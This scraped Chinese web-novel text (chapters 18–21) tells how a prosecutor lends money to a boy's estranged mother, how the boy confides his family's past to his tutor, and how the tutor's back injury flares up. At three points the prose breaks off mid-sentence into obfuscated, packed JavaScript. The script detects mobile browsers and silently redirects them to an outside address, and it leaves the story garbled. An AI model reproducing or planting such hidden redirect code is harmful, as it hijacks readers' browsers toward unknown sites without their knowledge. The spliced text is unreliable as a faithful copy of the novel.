“听,孩子的意见,”沈灵均试探着揉了揉李长乐的头,李长乐没有避开,这让他心里有一些高兴:“问个问题,你为什么管我叫叔叔,管小戚叔叔叫哥哥?” 这话其实也说得不太对——李长乐其实很少用“叔叔”称呼他,他叫他一般都直接用“你”这个字。 “我比你小戚叔叔老那么多吗?你不要看你小戚叔叔长得这么嫩,其实和我一样,也是年过三十的叔叔了。” 李长乐抬头看了戚玉衡一眼,像是有点惊讶,但随后他就垂下头,小声道:“不是因为你老……我就愿意这么叫。” “行,那我们就各论各的,”沈灵均再次看向戚玉衡:“所以,你就帮我这个忙吧,照顾一下这个孩子的学习。” 戚玉衡表情有些为难:“那一次六百也实在实在是太多了,真的用不了这么多。” “不多的,现在大学生家教三个小时就是这个价呢。” “真的太多了,这样吧,每次一……” 沈灵均早就猜到他一定会反向讲价,截断了他的话:“那就一次四百吧。再少我会不好意思的。拜托了。” 戚玉衡嘴唇微微抿起,最后点点头:“好。我……我会好好教长乐的。” “嗯,长乐之后就麻烦你了。” 沈灵均又试探性地问:“长乐,真的不换个特需病房吗?学习环境会好很多。” 李长乐立马摇头:“不需要。” “好吧,随你。” 李长乐一手揉着卷子的一角,不去看沈灵均:“现在我们的情况你也看到了,你可以回家了。” “好。那我明天再来。” “明天你也不用来,这没什么需要你帮忙的。现在有戚哥教我学习了,你也不用操心我的学习了,你不要来了。” “……好吧。那你有事就给我打电话,缺钱了随时跟我说。” 说完,沈灵均又看向戚玉衡:“那,补课就从今天开始?” 戚玉衡摇摇头,语气很果断:“不,从明天开始吧。到现在为止,我只是一直在给长乐讲题,但是如果是长期性的补课的话,我觉得还是有个系统性的……”戚玉衡说到这,有些不好意思地低下头:“教学设计……之类的计划比较好。我得更具体地了解一下长乐的水平,以及他们班各个学科目前的教学进度,才能有更好的效果。” 沈灵均笑了:“好。” 正在沈灵均转身想要离开的时候,病房的门开了,杜菲抱着一个光着头、一脸病态、大约三四岁的孩子走了进来。 李长乐腾地一下站了起来:“你……” 杜菲看了他一眼,随后脸上的表情变得有些决然,她膝盖一弯,朝着沈灵均跪了下去,膝盖在地上撞出了“咚”的一声响:“沈先生,求求您,求求您帮帮我!” 李长乐一个箭步冲了过来,他拉住杜菲的胳膊使劲把她往上提,吼道:“你给我起来!你给我起来!” 杜菲一屁股坐在脚跟上,整个人跪坐下来,一边抵抗着李长乐的力道一边哭。 短暂愣神过后,沈灵均去拦李长乐:“长乐、长乐,你冷静一点,你冷静一点……杜姐,你也别这样,你先起来,有事我们去外面说好吗?” 沈灵均把李长乐的手从杜菲胳膊上掰了下来:“好了,长乐,你别激动,我们有话好好说,先出来。” 沈灵均回过头向病房里其他人道了句歉,随后搀着杜菲来到了楼梯间。 “杜姐,你说说,你想让我帮你什么事?” 杜菲哭着把事情的原委说一遍。她颠三倒四地说了很多话,但诉求其实很简单——借钱。 十四年前李文宏过世时,李长乐还不满四岁,杜菲也不过二十五岁,正是青春正好的年纪。杜菲不愿意一辈子守寡,李斌和许三妹也无心干预儿媳妇再嫁,只是坚持要留下李长乐——杜菲本也不想带走李长乐。 于是,在李文宏过世半个月后,杜菲拿着她分到的二十万“赔偿金”回了娘家。次年,她便再嫁,嫁给了同村的谭勇军,很快就怀孕生下了一个儿子。生下儿子后不久,杜菲和谭勇军一家三口就离开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14502800|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐通村,搬到了安门市区居住。 这些事,沈灵均都是知道的。但是他对杜菲的了解也仅限于此了。杜菲再嫁后便很少与李长乐联系,一年半载才与李长乐见一次面。李长乐三人搬来容州这些年,沈灵均几乎没听过李长乐三口人提起过她。 听杜菲的叙述,沈灵均得知,在搬到安门市后,谭勇军成了一名货车司机,杜菲则租了一个小铺面卖小吃,一家人生活虽然不算富足,但也算得上衣食无忧。于是四年前,他们要了第二个孩子。一家四口的日子本来过得很幸福,然而,这样无忧无虑的时光在一年半前戛然而止:杜菲的小女儿谭欣园一年半前开始频繁的发烧。杜菲带她到医院去检查,本以为顶多是肺炎这类的毛病,没想到检查越做越多越做越多,最终确诊为B系急性淋巴细胞白血病。 杜菲不愿相信这个结果,又带着谭欣园来到容州肿瘤医院求医,但结果是一样的。好在医生告诉她,谭欣园的病况在这个病中属于低危组,如果好好化疗,治愈概率是很高的。于是杜菲夫妇拿出了全部的积蓄,又借遍了家人,给谭欣园凑够了十个化疗疗程的钱。十个化疗疗程之后,谭欣园指标一切正常,出院回家了。 那时,杜菲以为一切磨难都结束了。 然而,两个多月后,谭欣园再次发起高烧,杜菲和丈夫近乎绝望地带着她去检查,医生告诉他们,复发了。基因结果显示,谭欣园融合基因复阳,病况已经由低危转向高危,医生给出的治疗建议是在进行CAR-T治疗后做骨髓移植手术。 不幸中的万幸,谭欣园的同胞哥哥谭浩生与她配型成功,能为她提供骨髓。 但是CAR-T治疗费用高昂,即使主治医生为他们申请了临床实验组的名额,但还是需要自费一笔不小的费用,而CAR-T治疗后进移植仓也需要花不少钱。亲友早就借遍了,无奈之下,杜菲夫妻二人卖掉了安门的房子,杜菲租房陪着谭欣园在容州治病,谭勇军继续在安门赚钱。 没想到,这远远不是他们一家噩梦的尽头:十天前,谭勇军在驾驶货车时在转弯时发生侧翻事故,整辆车撞上路边的护栏,重伤导致右腿截肢,刚从ICU出来不久。谭勇军供职的物流公司一直在和杜菲就事故责任的问题扯皮,根本没有给谭勇军足够支付医药费的工伤赔偿金。 家里两个重症病人,杜菲手里那点的卖房款很快就消耗殆尽。 杜菲大哭着道:“沈先生,我真的是走投无路了,我是真的没办法了,我知道我这样做很不要脸,很可耻……但您是我能想到的唯一有能力帮我的人,我发誓,但凡我能想到第二个人我今天都不会厚着脸皮来求您!求求您,我真的想救孩子……求求您!钱我一定会还的,我下半辈子做牛做马也会还的,求求您了!” 杜菲看向李长乐:“长乐,妈妈知道我这样做让你很为难……但是我真的没办法了!” 眼看着杜菲又要往下跪,沈灵均连忙拦住她:“别,我都说了,姐,没必要这样。” 沈灵均想了想:“这样,我们加个联系方式吧……” 李长乐这时喊道:“沈灵均!” 但李长乐喊完他的名字之后却并没有再说话。沈灵均感觉他全身都在发抖。他红着眼睛看了一眼杜菲,随后转身就跑。 沈灵均追在他身后:“长乐!长乐!” 或许是因为听到了他的声音,戚玉衡从811跑了出来。戚玉衡顺着他的眼神看了看,随后道:“沈检,我去追长乐吧,我和他聊聊……” 感觉到戚玉衡目光的偏移,沈灵均回过头,发现杜菲抱着孩子也追了出来。 尽管和李长乐相识多年,李长乐搬来容州也近七年,但沈灵均一直觉得他距离这个孩子的心无比遥远——或许他一辈子也无法再向前一步了。在李长乐情绪失控的当下,沈灵均清楚,他追上去并不是一个合适的选择,或许还会给李长乐的情绪火上浇油。 于是,沈灵均点点头:“好……麻烦你了。拜托你。” 19.第 19 章 李长乐一路跑到人民医院内的花园才停了下来。他扶住花坛,弯腰喘了几口气,随后蹲下身,大哭起来。 戚玉衡在他身后站了一会,在他情绪稍稍平稳了一些之后才上前去。戚玉衡一手来回抚摸着李长乐的肩膀,一手拿出纸巾递给李长乐,他轻声道:“长乐,长乐,别哭了,别哭了。” 李长乐接过他递来的纸擦了擦鼻涕,又抽泣了一会,才慢慢站起来,回头看向戚玉衡。 戚玉衡轻声问:“我能和你说说话吗?” 李长乐垂下眼睛,沉默了一会,最终点点头。 两个人在花园中的一个长椅上坐了下来。李长乐盯着花园里的花出了会神,开口道:“我……我四岁那年,我爸死了。” 李长乐短暂地停顿了一下,就继续说道:“他死那天的事,我不太记得了,那时候太小了。但我对他葬礼上的事记得很深,农村的葬礼嘛,儿子要做的事很多。我记得那天我特别累,又累又饿。主持葬礼的风水先生反复地叫我哭,我一开始还能哭,但后来就哭不出来了,只能干嚎……很糟糕的一天。” “他……沈、沈叔叔,他外婆家,徐家,在我们村很有名。他外婆生了五个孩子,五个孩子个个都出息,都去城里住了,其中最出息的是老大,也就是他的妈妈。她是个大老板。在十四年前,她就是个大老板了,我们村的人都知道她很有钱。” “到他这一代,徐家也都是独生子女了。一家一个孩子,所以他有四个表亲,其中一个表弟,好像是他最小的表弟……十四年前,他十六岁。如果他还活着,大概和戚哥你一样大。” 李长乐说到这,沉默了很久,他先是用指节擦了擦从眼中溢出的眼泪,后来发现擦不干净,才又拿了张纸巾擦眼泪。 “我们村附近有一条河。河水挺深的。” “十四年前,他的这个表弟跳河了。我到现在都不知道他为什么跳河。小时候是没去想过这个问题,长大了之后……没问过。这件事对他来说也是伤心事。” “那时候是夏天,他当时在读大学,放暑假,所以也在村里。他表弟跳河的时候,他也在那附近,他就跳进去救他。但是人没救上来,他自己也被带着沉下去了。岸边不会水的人于是就大声呼救,我爸听见了,就跳下去救人了。我爸把他救上来之后,又想去救他的表弟,但……失败了。两个人都淹死了。” 戚玉衡伸出手,揽住李长乐的肩膀。 “他们家给了我们一家非常大的一笔感谢费。一百五十万。十四年前的一百五十万,真的是非常非常多的一笔钱。当时,后来我听我小叔讲……当时村里好多人都在说我们家运气好,虽然我爸没了,但是“赚到”这么一笔钱,也不亏。确实。见义勇为结果自己死掉的例子现实中有很多,但是像我们家一样,能拿到这么多感谢费的人家真的非常少……就算把我爸论斤称了卖了,也卖不出这个价钱。” 戚玉衡蹙起眉:“他们不应该这么说。” 李长乐露出了一个难看而扭曲的笑:“但那真的是很丰厚的一笔钱。他当时就跟我奶说,说可以接我去容州上学,但是我奶没同意。舍不得我是一个原因,还有就是……我奶也觉得,那是很大的一笔钱,已经拿到了这么多钱,人要知足,不能得寸进尺……把别人的客气话当真什么的。当然,后来我们都知道了,这不是什么客气话。” “这笔感谢费,我妈要走了二十万。她其实想要更多的。她走之前那段时间家里天天都在吵架。她最后是拿了二十万走的,自己走的。她不想带我走。其实我能理解她。她当年才二十五岁……她不想要我,我能理解。但她不要我,就是真的不要我了。她刚走那两年,还回来看过我三四回,但她又怀孕了之后就……没再主动来看过我了。” “后来,我小姑出嫁,我爷爷奶奶给了她二十万作嫁妆。我七岁的时候,在我小叔的提议下,我、爷爷奶奶、小叔小婶还有我堂弟,搬到了县城去。我爷爷奶奶花了四十多万在县城里买了两套房子,我和爷爷奶奶住一套,小叔一家住一套,我们住对门。” “然后,小叔说想开个店赚钱。我爷爷奶奶又出钱给他开了一家洗车店。但从开店那天起,这家店就没怎么赚钱。我小叔小婶,”李长乐耸了耸肩:“都是特别好吃懒做的那种人。我小叔之前是我们村有名的混混,开了店之后也没有一点做服务业的自觉,经常跟客人起冲突,惹出来不少事端。” “其实那个时候,一百五十万的感谢费就不剩下多少了。二十万给我妈、二十万给我小姑、四十多万买房子、二十万给我小叔开店。一大半用掉了。之后几年,我小叔一直不断地以各种理由向我爷爷奶奶要钱,不是说店亏了,就是说又惹了什么事需要钱去平,我小姑也常回来借钱……但她一次都没还过。” “到我小学四年级的时候,我爸留下来的……这笔遗产,也没剩多少了。我奶奶说无论如何都不能再给我小叔小姑钱了。然后,那一年过年前不久吧,我小叔又惹了事。他和他的狐朋狗友出去吃饭,喝多了酒,和旁边的客人一言不合就吵了起来,把人打进了医院,对方说不赔十万块就要让他坐牢。” “我小叔于是又来向我爷爷奶奶他们要钱。这一次我爷爷奶奶死活都不愿意给。他就抢,最后甚至动手打了我爷爷奶奶。后来,他把我、还有爷爷奶奶从家里赶出去了,说既然我爷爷奶奶不给他钱,他就只能自己想办法弄钱来,只能把房子卖掉……房子当年都是他负责买的,写得都是他的名字。” 戚玉衡忍不住骂道:“你小叔也太不是东西了。” 李长乐垂头盯着自己的脚尖:“那段时间,我奶天天以泪洗面。我们也没法再回村里的老房子,因为我得在县城上学……最后我们只得租了个房子住。我奶奶希望我小姑能帮他们老两口撑腰,但是我小姑没有。然后,那年过年的时候,他……来看我们。” 李长乐用脚尖一遍遍地蹭着地面:“他每年过年都来。我小的时候还能跟他打招呼,说说话什么的,长大了一点之后就做不到了。因为我还小的时候,我爷爷奶奶一直都没有告诉我他的身份,只说他是我爸的熟人,于是我就只把当成一个……哥哥来看待。我那时候还在想,我父亲怎么会认识他那种人……他跟村里的其他人都不一样。跟所有我认识的人都不一样。你明白吧,戚哥,他看着就与一般人不一样。” “后来,我知道了他的身份……就没办法平常心地面对他了。” 戚玉衡点点头:“这是人之常情。” “那年他来看我们,发现了我们的处境,然后,他就劝我们去容州。我爷爷奶奶那个时候对我小叔小姑他们很失望,他又一直说容州的教育条件好,他们于是同意了他的提议。但我觉得,如果他们事先知道这么做会给他添多少麻烦,一定不会同意来的。” “他在容州给我们买了房子,我后来才知道那个房子,虽然旧但是很贵。又给我办了转学。因为我没有容州户口,也没有居住证,他交了一笔赞助费才把我转进容州的小学……这件事我也是后来才知道的。在容州住了一段时间之后,我爷爷奶奶也反应过来,他们来容州让他花了很多钱、费了很多功夫……但来都来了,已经回不去了。” “我年纪越大,越知道我们从他那里得到了多少。以前想起村里的人说我爸这条命卖的值钱……我还会有点别扭,但是现在真的是……”李长乐自嘲地笑了一声:“想不出反驳的话。我爸就算一天从早干到晚,也无法让我和爷爷奶奶拥有如今这样的生活。现在我们一家都靠他养着。我一开始还会算,他到底在我们一家身上花了多少钱……现在已经不再算了。” “欠他的东西,已经太多了。我就感觉……感觉我和爷爷奶奶,就像是那种……吸血的虫子一样,一直吸他的血。我已经……我真的……我真的不想这样,但我没办法,”李长乐双手捂住脸:“我妈平时也就逢年过节才会联系我,这次她主动联系我,我还以为是怎么了呢,原来是来借钱……我早该想到的。她怎么会无缘无故地来找我呢?” 李长乐说到这,再度哽咽起来:“真的、我真的……我都告诉过她不要再来了!我也让他不要再来了!但他们还是碰上了。” 戚玉衡能想象,长期以来一直对沈灵均的帮助自觉受之有愧的李长乐,今天在看到他妈妈的那一刻,内心一定非常煎熬、非常羞耻、非常难堪。他觉得让李长乐在这个时候哭不是一件坏事,于是他并没有出言安慰他,只是一直轻轻地拍着李长乐的背。 等李长乐的情绪再度缓和下来后,戚玉衡柔声说道:“长乐,因为我是个局外人,接下来我说的这些话,你可能会觉得我偏颇、不够理解你、或者是站着说话不腰疼……但是可能正因为我是局外人,所以旁观者清。你愿意听一听我的想法、回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“第二点,我知道,你有你的自尊,没办法心安理得的全盘接受沈检的帮助,但是,我相信你自己也有体会,沈检从未把你们一家当成他的累赘,当成一种困扰。或许正相反,你……还有爷爷奶奶,能够因为他的帮助过得好,对于沈检来说应该是一件很有成就感、很值得欣慰的事。你母亲找上门来借钱,她确实没有顾及到你的处境,但我觉得沈检不会因为这件事对你有什么看法的……你自己心里应该也清楚的,不是吗?” “第三嘛,算是一个……建议?我觉得,在面对沈检的时候,你可以更坦率一点。你也很困扰吧,和沈检交流的时候,也不是不想好好说话,但因为别扭,或是其他的什么原因,导致每次交流的结果都不如人意。下次你不想花他的钱的时候,就用‘太贵了’这种话代替,不想耽误他的时间,就直说‘你太忙了我不想耽误你’,直白地表达心情有的时候不是坏事。可能第一次这样做的时候会很难,但我认为有尝试的意义。” “你老是用排斥的态度对待他,会让沈检很难过。假如沈检是那种冷漠的人,他不会在意你们的处境、不会给你们那么多补偿金、也不会费尽心力把你们带到容州,也不会用平等、包容的态度对待你。正是因为沈检是特别善良、温柔的人,你如果老是这样抵触他,多少有点……欺负老实人了。这样,不好。” 李长乐垂着头,没有回答好还是不好。戚玉衡也没有再说话,静静地陪他坐着。 过了一会,戚玉衡听到了沈灵均的声音:“小戚、长乐?” 沈灵均手里拿着戚玉衡和李长乐两个人的外套:“你们出来很久了,现在天气已经很凉了,你们两个都没穿外衣,我怕你们两个着凉。” 戚玉衡接过了他递来的外套:“谢谢。” 李长乐随后也道了谢。 沈灵均看向李长乐:“你妈妈已经带着她女儿回去了。” 李长乐攥紧了双手:“那你借她钱了吗?” 沈灵均的语气几乎可以称得上是小心翼翼:“如果不知道这件事,不管也就不管了,她都求到我面前了……孩子确实也可怜,前期那么漫长的化疗都挺过来了,要是倒在这,也太可惜了。借的钱我又拿得出,而且我们也约好了,她要给我打欠条、还利息的。” 李长乐拽了拽外套的下摆,小声道:“哦,我、我也就是问问。毕竟她借的是你的钱,借不借都是你说了算,”李长乐顿了一下,说:“你快回去吧。” 沈灵均点点头:“好,我这就走。” 李长乐在这时看向戚玉衡,戚玉衡有些不明所以,但下意识地朝他笑了一下。 李长乐又垂下头,随后嗫喏着道:“很晚了,你明天还要上班,快回去吃饭吧。” 20.第 20 章 这天晚上,戚玉衡离开医院后,特意找了一家临近高中的书店,买了一摞二手课本。他本来只想买李长乐学得不好的数物化三个学科的课本,但是到了书店后他改了主意,把六科的课本全买了下来。 回到家,他便趴在床上看起这些课本来:虽然大部分的高中知识他都还记得,但是十几年过去,高考都改革了,教材更是不知道改了多少版,教材内容与他上高中时多少有些不同。他原来的那点底子给李长乐暂时性的答疑还足够,但是若是要给他长期补课,戚玉衡心中并没有自信。因此,在医院的时候,他问了李长乐很多关于他学习进度和薄弱点的问题,今晚他打算临阵磨枪,根据李长乐目前的学习进度有的放矢地复习一下,拟出一个初步的教学计划。 他不想辜负三个小时四百元的高额工资。他每天从星星烘焙下班之后就去做各种兼职,兼职时长几乎每天都超过五个小时,在众多的兼职中,在Resonate做驻唱性价比最高,四个小时八百,但剩下的兼职赚得都差不多,一晚上也就百来块。这份家教的工作虽然时薪比不上在Resonate做驻唱,但是工作强度却低了不少,工作环境也让他感觉更舒服——戚玉衡并不喜欢引人注目,然而在酒吧驻唱,注定是要接受客人目光的洗礼的。 晚上十一点的时候,段俊要睡了:“戚哥,我关灯可以吗?” 戚玉衡指着自己的充电小台灯示意了一下:“可以可以,你关灯吧。” 但段俊却没有立刻关灯,而是有些好奇地凑近两步:“戚哥,你看什么呢?课本吗?” “对,高中课本。最近找了份家教的兼职。” “啊??”段俊蹲下身仔细地去看戚玉衡床上的课本:“教高中小孩吗?” “对。” “戚哥你现在还记得高中的知识吗?!” “也不是全都记得,所以说这不是在临阵抱佛脚吗。” “太厉害了,我初中学了啥现在都忘光了,你牛逼!诶,戚哥,你这个兼职,咋给你算钱的啊?” 戚玉衡如实说了:“按课时算,一节课三个小时,四百。” “这么多??这……你一个月要是上满三十天,挣的就比我一个月工资都高了,关键是每天只上三个小时班,”段俊满眼的羡慕:“不然怎么都说要多读书呢。多读书就是能赚钱啊。” 戚玉衡有些不好意思:“其实我觉得对方给太多了……” “啧,人家给你就收着啊,哪有嫌钱多的啊哥,对了哥,你这学习这么好,当时为啥没考学,继续读书上大学呢?” 戚玉衡笑了笑:“还能为啥?穷呗。” 段俊立刻拍了自己的嘴一下:“对不起啊哥,我这张嘴不会说话。对呗,还能为啥?” 段俊随后便上床睡了,戚玉衡则继续看课本。几分钟后,他忽然感觉腰间传来一阵剧烈的疼痛,戚玉衡尝试着动了动腿,想自己给自己翻个面,但失败了。戚玉衡做了半分钟心理建设,再次用力试图翻身,然而却又一次的失败了——他仿佛在一瞬间失去了对自己下肢的控制权。 戚玉衡浑身都往外冒汗,犹豫了一会后,他小声叫道:“小段?小段?你睡着了吗?” 上铺传来段俊有些含糊的声音:“没有呢……戚哥,怎么了?有事?” “你能下来帮我一下吗?我今天好像把腰扭了,现在连身都翻不了。” “啊??这么严重?”段俊一边说一边从上铺爬了下来。 借着段俊的力气,戚玉衡才成功翻过身。这时,他已经大汗淋漓,满头是汗,头发都湿透了。段俊被他这样子吓了一跳:“戚哥,你没事吧?这么疼吗?要不咱们上医院看看去?” 戚玉衡强撑着对他露出一个笑脸:“没事,就是扭到了,没什么大事,你别担心。明天应该就好了。” 段俊有些不大相信,但他换位思考一下,他要是有个什么急病急痛的,肯定也是先忍着,而不会去医院烧钱。于是他没再坚持:“好。那戚哥你有事就叫我啊,别怕麻烦我。实在难受我就陪你去医院。” “……好。” 等段俊上了床后,戚玉衡又拿起了课本。但他看了没几分钟,就把课本放到了一边。一时间,戚玉衡内心充满了焦躁和挫败,导致他完全无法集中注意力——他骗了段俊。 今天在沈灵均突然靠近他时,由于没注意到李长乐的位置,戚玉衡差点摔倒,他当时确实感觉自己的腰扭了一下。但那应该不是他现在腰痛的原因。此时腰部传来的痛感是戚玉衡很熟悉的痛感,戚玉衡几乎敢肯定,他是腰突急性发作了。 十二年前,在告别王晖何秀红夫妇开始独自打工赚钱后,戚玉衡在短时间内换过好几个工作。在一番对比之后,戚玉衡发现装卸工是所有工作中最赚钱的——这毫无技术含量、纯靠出卖体力的工作,会给出最踏实朴素的回报。 装卸工都是按吨计费,一个地方一个报价,高的地方一吨可以给十五六块,低的也会给十二三块。但相同的是多劳多得,每一滴汗水都值钱。于是,从十八岁到二十一岁,三年多的间,戚玉衡一直在各个工地、码头、物流园之间奔走,他平均每天搬四十吨货,每个月至少能攒下一万多用于还债。 但是他二十一岁那一年,在非常平凡的一天,他起床的时候忽然觉得腰部剧痛,整个人痛到僵硬,完全站不住。那是戚玉衡第一次腰突发作,当时他被自己站不了走不了的样子吓坏了,立刻喊了舍友过来,在舍友的帮助下下楼打车去了医院。 检查过后,医生告诉他他得了腰间盘突出,正处于腰突急性发作期,在用药的同时需要卧床休息至少一个月,而且从此以后要避免一切重体力劳动。 戚玉衡当时觉得天都塌了。他那个时候觉得年纪和体力是他唯一的资本,但没想到老天连这唯一的本钱都匆匆收回。 但人生总是峰回路转。如果不是因为腰突,他就不会去做烘焙学徒,不会遇到牛明星,也不会和她一起合伙开店。如今再回头看,得上腰突对于他来说未必是件全然的坏事。但是,这一次急性发作来得太不是时候了。 确诊之后的九年间,他的腰突一共犯过十一次,每一次都需要卧床休息至少一周才能恢复到行动自如的状态。如果日子还和平常一样,他犯病也就犯了。但他刚刚答应别人说要做家教,要是第二天就爽约,这也太没有契约精神了。还有何秀红那边,她上了年纪,反应本就有些迟钝,又因为王子睿的事,最近做事总是一副心不在焉的状态,把她一个人放在医院,戚玉衡一点也不放心。 想着想着,在疼痛之中,戚玉衡睡了过去。 让戚玉衡又意外又欣喜的是,第二天早上,他靠自己起了床——腰能直的起来、腿也还能走路,除了腰几乎一点也弯不了之外,他行动一切正常。于是,戚玉衡照常去上班了。 但开工一个半小时之后,戚玉衡有点站不住了。他不想搞特殊,忍了又忍,但最后还是没抗住,搬了个凳子坐了下来,把必须得站着才能完成的整理面包面团的工作交给了别人,转而去捏司康。 他对其他人说,坐着是因为腰扭到了。这个理由其他人会信,但牛明星可就不会信了。上午的工作结束之后,牛明星凑了过来,小声问:“你怎么回事?腰突犯了?” “小犯一下。你看,我今天还起得来床呢。” 牛明星这时注意到,今天戚玉衡带了个背包来。而他从背包里掏出了……一本数学课本? “……这什么?高中数学课本??” “对。” 牛明星上高中时属于一看数学就头晕恶心那类人,立刻露出了像看脏东西的眼神:“你怎么把这东西拿来了?” 戚玉衡将兼职的事原原本本地告诉了牛明星,牛明星听完很高兴:“这是好事啊,家教可比外卖代驾摆摊什么的轻松多了,而且挣得还多。希望这份兼职持续的时间能久一点。沈检好大方啊,这么大手笔地给亲戚家的小孩补课,一节课四百,就算是一周只补四天,那一个月也六千多块钱呢。养小孩这么费钱的吗!” 戚玉衡笑了笑:“你至少可以不用操心孩子的数学,这笔钱是省下了。” ——牛明星的丈夫顾含章是高中数学老师。 “说起来也挺巧的,长乐就是姐夫学校的学生。” “嗯?他是四十六中的?” “你刚才说他高三吗?那说不定就是老顾教他呢。” “如果是的话,他的成绩一定挺让姐夫头疼的。” “他数学考多少?” “……三十八。” “嗐,不错了,我数学一般都考十几分,考二十算是高的。” “我一般只会做选择题第一道,至多会到第二道,剩下的就看命。假如第一题都会,选了A,剩下的选择题我就选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14516482|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' A。我上高中那会,一个选择题四分吧,这种蒙法最多最多对五六个选择题的样子,剩下的题我就一概不会了,所以最高能考到二十多,”牛明星大力拍了拍戚玉衡的肩:“戚戚,以我的经验,三十八这个分数,绝对不是纯靠蒙能考出来的分数,这个学生肯定是自己努力做题了,还是有救的,你加油,救他一救。” “……好的。” 牛明星又低下头,摸了摸自己的肚子:“好宝,刚才的话你没听见哦,不能学妈妈哦。” 完成下午的工作后,戚玉衡就下班回家做饭了。医院的食堂不算好吃,外卖不仅贵还可能买到不好吃的预制菜,所以自从戚玉衡不用再在医院守夜,他便开始自己做饭带到医院去。一开始他只做自己和何秀红夫妻的份,一荤一素,在发现李长乐也厌倦了食堂和外卖后,他便也开始带他的份,菜式也随之变为两荤一素。 今天戚玉衡做的是肉末茄子、鱼香肉丝、红烧鸡腿。到了811,戚玉衡发现病房里出现了一个生面孔。她坐在娄超病床的床尾,看上去大约三十左右岁,身材娇小,长相清秀,看她的年纪以及与张桂芝的亲昵姿态,她应该是娄张二人的女儿。 戚玉衡带了两组饭盒,何秀红一边吃一边喂王晖,戚玉衡则和李长乐坐在一块吃。这会病房里的人都没有拉上病床旁的遮挡帘,戚玉衡背对着门,面朝着窗,病床里各人的动作基本上一览无余。他看到,张桂芝和她女儿一直在说话,时不时把目光投到李长乐身上。如果只是看也就算了,她还伸出手来指指点点,看起来像是在和女儿说李长乐的闲话。 戚玉衡皱了皱眉,起身把遮挡帘拉上了,扭头跟李长乐说道:“你不要在意她的眼光。” 李长乐点点头:“我知道的。” 吃过饭,戚玉衡便开始给李长乐上课。 戚玉衡今天打算给李长乐讲他那张三十八分的月考卷。李长乐的数学水平与他的数学成绩相符,戚玉衡的课程进度推进得很慢,很多题都得讲两遍,一个多小时过去,戚玉衡还没讲完选择题。 看到李长乐脸上的疲色,戚玉衡道:“歇一会吧,活动一下身体。” 李长乐率先站起了身,戚玉衡本想也跟着站起来,但他站到一半,一阵剧烈的疼痛就从腰腿处袭来,他立刻跌坐回去,下意识地抓住了李斌病床的护栏。李长乐察觉到了他的异样:“戚哥,你怎么了?” 戚玉衡疼得说不出话,只抬起手摆了摆。 但他的样子哪里像是没事的样子,李长乐有些无措:“怎么了啊?”他看到戚玉衡一手按着腰:“……你扭到腰了吗?” 戚玉衡深吸一口气,抖着声音道:“长乐,不好意思,你能把你租的床打开吗?扶我躺一下。” 李长乐连忙把他租的陪护床撑开,去扶戚玉衡。但戚玉衡虽说体型偏瘦,但一米八五的个头在那里,如今他双腿一点力气都使不上,没法配合李长乐的动作。李长乐试了好几次,但怎么也没法把戚玉衡扶起来。 李长乐于是又叫了何秀红来帮忙。两个人合力,确实是把戚玉衡扶起来了,但戚玉衡刚一起身,就控制不住地闷哼一声。李长乐一边扶着他往陪护床上坐,一边担忧地道:“戚哥,你这是怎么了?我找医生来看看吧。” 何秀红也说:“是啊小戚,我们找医生看看吧。” 沈灵均在这时候掀开遮挡帘走了进来:“……谁找医生?爷爷怎么了?” 沈灵均刚进病房,只把李长乐的话听了个尾巴,以为是李斌出事了。看到坐在陪护床上的戚玉衡,他先是愣了一下,随后道:“这是怎么了?腰疼?” 看戚玉衡疼得脸色发白,活像是个沾了水的纸人,沈灵均当机立断:“等着,我去让护士推张床来。” 不多时,沈灵均就带着两个推着转运车的护士回来了。沈灵均让转运车停在床尾,随后朝戚玉衡走了过来,道:“手搭我肩上。” 戚玉衡意识到了沈灵均想要做什么,他立刻觉得自己不是不能走了——一定可以靠意志克服的——他这就站起来—— 沈灵均看他没动,皱着眉又催促了一遍:“手搭在我肩上。” 感觉到他的语气在一瞬间变得严厉,戚玉衡下意识地听了他的话,把手搭到了沈灵均的肩上。沈灵均于是一手环住他的背,一手抄起他的膝弯,把他抱了起来。 戚玉衡近乎绝望地闭上了眼——死了算了。 21.第 21 章 周六上午,沈灵均在约定的时间到了银行门口。而杜菲似乎是早早就等在了这里,看到他来,脸上露出了一个近似谦卑的笑。 等他走近,杜菲就从兜里掏出一张借条:“沈先生,这是借条。” 借条的格式很专业,表明借款本金为七十万,利息三分,上面有谭勇军的签名和指印。但谭勇军如今尚在安门住院,不可能一夜之间来到容州,这张借条应该是他之前就签好的。想到他们一家如今的境况,沈灵均本想说利息就算了,但想到李长乐,这话最终只是在他嘴里打了个转,没说出口。在柜台转完账后,杜菲又当着他的面在借条上签了字捺了印,对他千恩万谢。 沈灵均摇摇头:“感谢的话就不用多说了。你之后去哪?孩子现在在肿瘤医院?你要去医院?” “对。” “你大儿子现在在哪?谁在照料?” “他在安门陪着他爸,我公公婆婆在照顾他。” “这样啊,”沈灵均指了指自己的车:“走吧,我送你回医院,顺便去看看孩子,我给孩子买了些吃的。” 